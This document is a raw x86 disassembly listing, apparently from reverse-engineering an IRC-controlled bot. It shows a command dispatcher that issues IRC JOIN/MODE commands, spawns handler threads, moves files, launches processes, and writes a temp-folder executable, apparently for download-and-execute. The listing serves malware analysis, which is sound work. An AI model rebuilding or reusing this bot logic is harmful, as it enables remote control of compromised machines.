push [ebp+var_8C]
mov [ebp+var_390], eax
lea eax, [ebp+var_414]
mov [ebp+var_418], esi
push eax
call sub_416BE0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_380], edi
push [ebp+var_390]
mov [ebp+var_37C], eax
push [ebp+var_394]
push [ebp+var_388]
call dword_43C5E0
push eax
lea eax, [ebp+var_2D8]
push offset unk_434DC8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_38C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_418]
push ebx
push eax
push offset sub_4143AF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38C]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_410186
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434D78
jmp loc_411D70
; ---------------------------------------------------------------------------
loc_41017E: ; CODE XREF: sub_40CD3A+3452j
push 32h
call dword_421060 ; Sleep
loc_410186: ; CODE XREF: sub_40CD3A+3431j
cmp [ebp+var_378], ebx
jz short loc_41017E
jmp loc_411D7F
; ---------------------------------------------------------------------------
loc_410193: ; CODE XREF: sub_40CD3A+24D7j
; sub_40CD3A+24EEj
push edi
call sub_41587F
push 7Fh
mov [ebp+var_EDC], eax
push [ebp+arg_18]
lea eax, [ebp+var_FE0]
push eax
call sub_416BE0
push [ebp+arg_0]
call sub_41587F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_EE0], eax
lea eax, [ebp+var_F60]
push 80h
push eax
mov [ebp+var_FE8], esi
call sub_41588A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_ECC], eax
push [ebp+var_EE0]
lea eax, [ebp+var_FE0]
mov [ebp+var_ED0], edi
push eax
push [ebp+var_EDC]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset unk_434D28
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 10h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FE8]
push ebx
push eax
push offset sub_407B36
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_41027F
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434CD0
jmp loc_411D70
; ---------------------------------------------------------------------------
loc_410277: ; CODE XREF: sub_40CD3A+354Bj
push 32h
call dword_421060 ; Sleep
loc_41027F: ; CODE XREF: sub_40CD3A+352Aj
cmp [ebp+var_EC8], ebx
jz short loc_410277
jmp loc_411D7F
; ---------------------------------------------------------------------------
loc_41028C: ; CODE XREF: sub_40CD3A+24A9j
; sub_40CD3A+24C0j
push 0FFh
lea eax, [ebp+var_D34]
push edi
push eax
call sub_416BE0
push 0FFh
lea eax, [ebp+var_C34]
push [ebp+arg_18]
push eax
call sub_416BE0
push [ebp+arg_0]
mov [ebp+var_B30], ebx
call sub_41587F
mov [ebp+var_B2C], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_4102E8
push 10h
push ebx
push eax
call sub_416930
add esp, 0Ch
mov [ebp+var_B24], eax
jmp short loc_4102EE
; ---------------------------------------------------------------------------
loc_4102E8: ; CODE XREF: sub_40CD3A+3598j
mov [ebp+var_B24], ebx
loc_4102EE: ; CODE XREF: sub_40CD3A+35ACj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_410305
push esi
call sub_41587F
pop ecx
mov [ebp+var_B28], eax
jmp short loc_41030B
; ---------------------------------------------------------------------------
loc_410305: ; CODE XREF: sub_40CD3A+35BAj
mov [ebp+var_B28], ebx
loc_41030B: ; CODE XREF: sub_40CD3A+35C9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_B20], eax
lea eax, [ebp+var_DB4]
mov [ebp+var_DB8], esi
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_B18], eax
mov eax, [ebp+var_8]
mov [ebp+var_B1C], eax
push edi
lea eax, [ebp+var_2D8]
push offset unk_434C8C
push eax
call sub_415316
push esi
lea eax, [ebp+var_2D8]
push 15h
push eax
call sub_414DDA
add esp, 28h
mov [ebp+var_B34], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_DB8]
push ebx
push eax
push offset sub_40BBF7
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B34]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4103BC
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434C38
jmp loc_4105A5
; ---------------------------------------------------------------------------
loc_4103B4: ; CODE XREF: sub_40CD3A+3688j
push 32h
call dword_421060 ; Sleep
loc_4103BC: ; CODE XREF: sub_40CD3A+3667j
cmp [ebp+var_B14], ebx
jz short loc_4103B4
jmp loc_4105B4
; ---------------------------------------------------------------------------
loc_4103C9: ; CODE XREF: sub_40CD3A+247Bj
; sub_40CD3A+2492j
push 7Fh
lea eax, [ebp+var_1A38]
pop esi
push esi
push edi
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_19B8]
push [ebp+arg_18]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1938]
push [ebp+arg_0]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_18B8]
push [ebp+var_8C]
push eax
call sub_416BE0
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_1830], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_1A3C], eax
lea eax, [ebp+var_2D8]
push edi
push offset dword_434BF8
push eax
mov [ebp+var_1834], esi
call sub_415316
add esp, 44h
lea eax, [ebp+var_2D8]
push ebx
push 0Bh
push eax
call sub_414DDA
add esp, 0Ch
mov [ebp+var_1838], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1A3C]
push ebx
push eax
push offset sub_40182F
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1838]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4104BD
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_434BA8
push eax
call sub_415316
add esp, 0Ch
loc_4104A5: ; CODE XREF: sub_40CD3A+378Bj
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push esi
jmp loc_40F903
; ---------------------------------------------------------------------------
loc_4104B5: ; CODE XREF: sub_40CD3A+3789j
push 32h
call dword_421060 ; Sleep
loc_4104BD: ; CODE XREF: sub_40CD3A+374Ej
cmp [ebp+var_182C], ebx
jz short loc_4104B5
jmp short loc_4104A5
; ---------------------------------------------------------------------------
loc_4104C7: ; CODE XREF: sub_40CD3A+2436j
; sub_40CD3A+244Dj ...
push 7Fh
lea eax, [ebp+var_1CC8]
pop esi
push esi
push edi
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1C48]
push [ebp+arg_18]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1BC8]
push [ebp+arg_0]
push eax
call sub_416BE0
push esi
lea eax, [ebp+var_1B48]
push [ebp+var_8C]
push eax
call sub_416BE0
push 20h
lea eax, [ebp+var_1AC8]
push [ebp+arg_8]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_1A48], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1A44], eax
lea eax, [ebp+var_2D8]
push edi
push offset unk_434B60
push eax
mov [ebp+var_1CD0], esi
call sub_415316
add esp, 50h
lea eax, [ebp+var_2D8]
push ebx
push 0Ah
push eax
call sub_414DDA
add esp, 0Ch
mov [ebp+var_1CCC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1CD0]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1CCC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4105CE
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434B10
loc_4105A5: ; CODE XREF: sub_40CD3A+2CD7j
; sub_40CD3A+2E11j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
loc_4105B1: ; CODE XREF: sub_40CD3A+2D07j
add esp, 0Ch
loc_4105B4: ; CODE XREF: sub_40CD3A+2CECj
; sub_40CD3A+2E26j ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push [ebp+var_4]
jmp loc_411D8A
; ---------------------------------------------------------------------------
loc_4105C6: ; CODE XREF: sub_40CD3A+389Aj
push 32h
call dword_421060 ; Sleep
loc_4105CE: ; CODE XREF: sub_40CD3A+385Dj
cmp [ebp+var_1A40], ebx
jz short loc_4105C6
jmp short loc_4105B4
; ---------------------------------------------------------------------------
loc_4105D8: ; CODE XREF: sub_40CD3A+2408j
; sub_40CD3A+241Fj
push 7Fh
lea eax, [ebp+var_158C]
push edi
push eax
call sub_416BE0
push [ebp+arg_18]
call sub_41587F
push 3Fh
mov [ebp+var_143C], eax
push [ebp+arg_0]
lea eax, [ebp+var_150C]
push eax
call sub_416BE0
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_410626
push 3Fh
lea eax, [ebp+var_14CC]
push esi
push eax
call sub_416BE0
add esp, 0Ch
loc_410626: ; CODE XREF: sub_40CD3A+38D8j
lea eax, [ebp+var_150C]
mov [ebp+var_1438], 1
push eax
lea eax, [ebp+var_158C]
push [ebp+var_143C]
push eax
lea eax, [ebp+var_2D8]
push offset unk_434AC8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 17h
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_1434], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1590]
push ebx
push eax
push offset sub_40CA58
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1434]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4106B5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434A78
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_4106AD: ; CODE XREF: sub_40CD3A+3981j
push 32h
call dword_421060 ; Sleep
loc_4106B5: ; CODE XREF: sub_40CD3A+3960j
cmp [ebp+var_1430], ebx
jz short loc_4106AD
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_4106C2: ; CODE XREF: sub_40CD3A+23C8j
; sub_40CD3A+23DFj
push [ebp+arg_18]
call sub_41587F
cmp eax, ebx
pop ecx
mov [ebp+var_6C0], eax
jle loc_4107B2
mov esi, 80h
push edi
lea eax, [ebp+var_848]
push esi
push eax
call sub_41588A
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_6BC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_84C], eax
lea eax, [ebp+var_748]
push esi
push eax
call sub_41588A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
push edi
push offset unk_434A34
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 0Dh
push eax
call sub_414DDA
add esp, 38h
mov [ebp+var_6C8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_84C]
push ebx
push eax
push offset sub_401444
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6C8]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4107A5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4349E8
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_41079D: ; CODE XREF: sub_40CD3A+3A71j
push 32h
call dword_421060 ; Sleep
loc_4107A5: ; CODE XREF: sub_40CD3A+3A50j
cmp [ebp+var_6B0], ebx
jz short loc_41079D
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_4107B2: ; CODE XREF: sub_40CD3A+3999j
push offset unk_434998
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_4107BC: ; CODE XREF: sub_40CD3A+239Aj
; sub_40CD3A+23B1j
push [ebp+arg_18]
push edi
call dword_421134 ; MoveFileA
test eax, eax
jz short loc_4107E9
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push edi
push offset unk_43495C
push 200h
push eax
call sub_41588A
jmp loc_411FAB
; ---------------------------------------------------------------------------
loc_4107E9: ; CODE XREF: sub_40CD3A+3A8Ej
push offset dword_43493C
call sub_409B27
push eax
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
add esp, 10h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41080D: ; CODE XREF: sub_40CD3A+236Cj
; sub_40CD3A+2383j
push edi
lea eax, [ebp+var_13A0]
push 104h
push eax
call sub_41588A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_410847
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_410847
push eax
lea eax, [ebp+var_129C]
push eax
call sub_415316
pop ecx
pop ecx
loc_410847: ; CODE XREF: sub_40CD3A+3AEBj
; sub_40CD3A+3AFCj
push [ebp+var_8C]
lea eax, [ebp+var_1420]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov [ebp+var_1424], eax
mov eax, [ebp+var_4]
mov [ebp+var_1194], eax
mov eax, [ebp+var_8]
mov [ebp+var_1190], eax
lea eax, [ebp+var_129C]
push eax
lea eax, [ebp+var_13A0]
push eax
push offset unk_4348F8
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 1Bh
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_1198], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1424]
push ebx
push eax
push offset sub_4086B2
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1198]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_41090C
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4348A8
loc_4108F0: ; CODE XREF: sub_40CD3A+A55j
; sub_40CD3A+A7Bj ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_410904: ; CODE XREF: sub_40CD3A+3BD8j
push 32h
call dword_421060 ; Sleep
loc_41090C: ; CODE XREF: sub_40CD3A+3BA8j
cmp [ebp+var_118C], ebx
jz short loc_410904
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_410919: ; CODE XREF: sub_40CD3A+233Ej
; sub_40CD3A+2355j
push 44h
lea eax, [ebp+var_31C]
pop esi
push esi
push ebx
push eax
call sub_415390
mov [ebp+var_31C], esi
xor esi, esi
inc esi
push edi
mov [ebp+var_2F0], esi
mov word ptr [ebp+var_2EC], bx
call sub_41587F
add esp, 10h
cmp eax, esi
jnz short loc_410956
mov word ptr [ebp+var_2EC], 5
loc_410956: ; CODE XREF: sub_40CD3A+3C11j
cmp [ebp+var_C], ebx
jz loc_40F526
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40F526
lea eax, [ebp+var_970]
push eax
lea eax, [ebp+var_31C]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_4210EC ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2D8]
jnz short loc_4109A7
push offset unk_434870
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_4109A7: ; CODE XREF: sub_40CD3A+3C61j
push edi
push offset dword_434844
jmp loc_40F51D
; ---------------------------------------------------------------------------
loc_4109B2: ; CODE XREF: sub_40CD3A+2310j
; sub_40CD3A+2327j
push [ebp+arg_18]
push offset aId999 ; "id999"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410B25
lea eax, [ebp+var_A80]
push eax
push 104h
call dword_4210F8 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_D34]
push edi
push eax
call sub_416BE0
lea eax, [ebp+var_97C]
push eax
call sub_413FA0
push eax
lea eax, [ebp+var_A80]
push eax
lea eax, [ebp+var_C34]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_415316
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_B30], 1
mov [ebp+var_B2C], ebx
jz short loc_410A44
push 10h
push ebx
push eax
call sub_416930
add esp, 0Ch
mov [ebp+var_B24], eax
jmp short loc_410A4A
; ---------------------------------------------------------------------------
loc_410A44: ; CODE XREF: sub_40CD3A+3CF4j
mov [ebp+var_B24], ebx
loc_410A4A: ; CODE XREF: sub_40CD3A+3D08j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_410A64
push esi
call sub_41587F
pop ecx
mov [ebp+var_B28], eax
jmp short loc_410A6A
; ---------------------------------------------------------------------------
loc_410A64: ; CODE XREF: sub_40CD3A+3D19j
mov [ebp+var_B28], ebx
loc_410A6A: ; CODE XREF: sub_40CD3A+3D28j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_B20], eax
lea eax, [ebp+var_DB4]
mov [ebp+var_DB8], esi
push eax
call sub_416BE0
mov eax, [ebp+var_4]
push edi
mov [ebp+var_B18], eax
mov eax, [ebp+var_8]
mov [ebp+var_B1C], eax
lea eax, [ebp+var_2D8]
push offset unk_4347F8
push eax
call sub_415316
push esi
lea eax, [ebp+var_2D8]
push 16h
push eax
call sub_414DDA
add esp, 24h
mov [ebp+var_B34], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_DB8]
push ebx
push eax
push offset sub_40BBF7
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B34]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_410B18
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4347A8
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_410B10: ; CODE XREF: sub_40CD3A+3DE4j
push 32h
call dword_421060 ; Sleep
loc_410B18: ; CODE XREF: sub_40CD3A+3DC3j
cmp [ebp+var_B14], ebx
jz short loc_410B10
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_410B25: ; CODE XREF: sub_40CD3A+3C89j
push offset unk_434750
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_410B2F: ; CODE XREF: sub_40CD3A+22E2j
; sub_40CD3A+22F9j
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
cmp [ebp+var_C], ebx
jz loc_40D18F
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43473C
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push edi
call sub_41587F
add esp, 30h
test eax, eax
jle short loc_410BB6
push edi
call sub_41587F
imul eax, 3E8h
pop ecx
push eax
call dword_421060 ; Sleep
loc_410BB6: ; CODE XREF: sub_40CD3A+3E66j
push offset dword_434714
call sub_40B078
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_410BCA: ; CODE XREF: sub_40CD3A+22B4j
; sub_40CD3A+22CBj
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_415730
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2D8]
jz short loc_410C86
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43473C
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push esi
lea eax, [ebp+var_2D8]
push offset dword_4346E0
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
push edi
call sub_41587F
add esp, 38h
test eax, eax
jle loc_412818
push edi
call sub_41587F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_410C86: ; CODE XREF: sub_40CD3A+3EDBj
push offset dword_434698
push eax
call sub_415316
add esp, 0Ch
jmp loc_411212
; ---------------------------------------------------------------------------
loc_410C99: ; CODE XREF: sub_40CD3A+2286j
; sub_40CD3A+229Dj
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push offset dword_434690
push eax
call sub_415316
push edi
call sub_41587F
add esp, 10h
loc_410CB6: ; CODE XREF: sub_40CD3A+3FE3j
test eax, eax
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
loc_410CD0: ; CODE XREF: sub_40CD3A+48B9j
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412B8B
jmp loc_412492
; ---------------------------------------------------------------------------
loc_410CF9: ; CODE XREF: sub_40CD3A+2258j
; sub_40CD3A+226Fj
push [ebp+esi+var_88]
lea eax, [ebp+var_2D8]
push [ebp+arg_18]
push offset dword_434684
push eax
call sub_415316
push edi
call sub_41587F
add esp, 14h
jmp short loc_410CB6
; ---------------------------------------------------------------------------
loc_410D1F: ; CODE XREF: sub_40CD3A+222Aj
; sub_40CD3A+2241j
push [ebp+arg_18]
lea eax, [ebp+var_2D8]
push offset dword_43467C
push eax
call sub_415316
push edi
call sub_41587F
add esp, 10h
test eax, eax
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412B8B
push [ebp+arg_18]
push edi
push offset dword_43464C
loc_410D83: ; CODE XREF: sub_40CD3A+40D0j
; sub_40CD3A+413Bj ...
call sub_40B0EC
jmp loc_41216C
; ---------------------------------------------------------------------------
loc_410D8D: ; CODE XREF: sub_40CD3A+21FCj
; sub_40CD3A+2213j
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_410DBE
push esi
lea eax, [ebp+var_2D8]
push offset dword_434644
push eax
call sub_415316
add esp, 0Ch
loc_410DBE: ; CODE XREF: sub_40CD3A+406Dj
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
lea eax, [ebp+var_2D8]
push eax
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412B8B
push esi
push edi
push offset dword_434614
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_410E0F: ; CODE XREF: sub_40CD3A+21CEj
; sub_40CD3A+21E5j
cmp [ebp+var_C], ebx
jz loc_412818
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push edi
call sub_41587F
test eax, eax
pop ecx
jle loc_412818
push edi
call sub_41587F
cmp eax, 12Ch
pop ecx
jge loc_412818
push esi
push offset dword_425090
push edi
call sub_41587F
imul eax, 234h
pop ecx
push dword_4416D4[eax]
call sub_412B8B
push esi
push edi
push offset dword_4345E4
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_410E7A: ; CODE XREF: sub_40CD3A+21A0j
; sub_40CD3A+21B7j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push esi
push offset dword_4345A8
jmp loc_4117D1
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_40CD3A+2172j
; sub_40CD3A+2189j
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D18F
push [ebp+arg_18]
push offset dword_43459C
push [ebp+arg_4]
call sub_412B8B
push edi
call sub_41587F
imul eax, 3E8h
add esp, 10h
push eax
call dword_421060 ; Sleep
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_434574
call sub_40B078
jmp loc_4117D6
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_40CD3A+2144j
; sub_40CD3A+215Bj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
call sub_415B10
push [ebp+arg_8]
mov esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412818
push esi
lea eax, [ebp+var_2D8]
push offset dword_434E38
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_412BD1
push esi
push edi
push offset dword_434544
call sub_40B0EC
add esp, 2Ch
jmp loc_412818
; ---------------------------------------------------------------------------
loc_410F85: ; CODE XREF: sub_40CD3A+2116j
; sub_40CD3A+212Dj
cmp [ebp+var_C], ebx
jz loc_412818
push edi
call sub_415B10
push [ebp+arg_8]
mov esi, eax
call sub_415B10
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_4158E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_412818
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_412BD1
push esi
push edi
push offset dword_434514
call sub_40B0EC
loc_410FD3: ; CODE XREF: sub_40CD3A+2E76j
add esp, 20h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_40CD3A+20E8j
; sub_40CD3A+20FFj
cmp [ebp+var_C], ebx
jz loc_40D18F
push [ebp+arg_18]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D18F
push eax
push edi
call sub_40AF80
push edi
lea eax, [ebp+var_2D8]
push offset dword_4344E4
push eax
call sub_415316
add esp, 14h
jmp loc_40F5D2
; ---------------------------------------------------------------------------
loc_41101A: ; CODE XREF: sub_40CD3A+20A8j
; sub_40CD3A+20BFj
push edi
push [ebp+arg_1C]
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz loc_412818
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4110B1
push esi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2D8]
jz short loc_41109F
push esi
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_43473C
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_416BE0
push esi
push edi
lea eax, [ebp+var_2D8]
push offset dword_4344AC
push eax
call sub_415316
add esp, 34h
inc [ebp+arg_24]
jmp loc_411233
; ---------------------------------------------------------------------------
loc_41109F: ; CODE XREF: sub_40CD3A+4313j
push offset dword_434468
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_411233
; ---------------------------------------------------------------------------
loc_4110B1: ; CODE XREF: sub_40CD3A+42FCj
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AC8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push edi
push offset dword_43443C
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
add esp, 24h
jmp loc_411233
; ---------------------------------------------------------------------------
loc_4110F8: ; CODE XREF: sub_40CD3A+1AFFj
; sub_40CD3A+1B16j
push offset aR ; "r"
push edi
call sub_415A08
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_411172
mov ebx, 200h
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
call sub_416FDC
add esp, 0Ch
jmp short loc_41114E
; ---------------------------------------------------------------------------
loc_411123: ; CODE XREF: sub_40CD3A+4416j
push 1
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push esi
lea eax, [ebp+var_2D8]
push ebx
push eax
call sub_416FDC
add esp, 20h
loc_41114E: ; CODE XREF: sub_40CD3A+43E7j
test eax, eax
jnz short loc_411123
push esi
call sub_415960
push edi
lea eax, [ebp+var_2D8]
push offset dword_434404
push eax
call sub_415316
add esp, 10h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_411172: ; CODE XREF: sub_40CD3A+43CFj
push edi
push offset dword_4343D0
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41117D: ; CODE XREF: sub_40CD3A+1AD1j
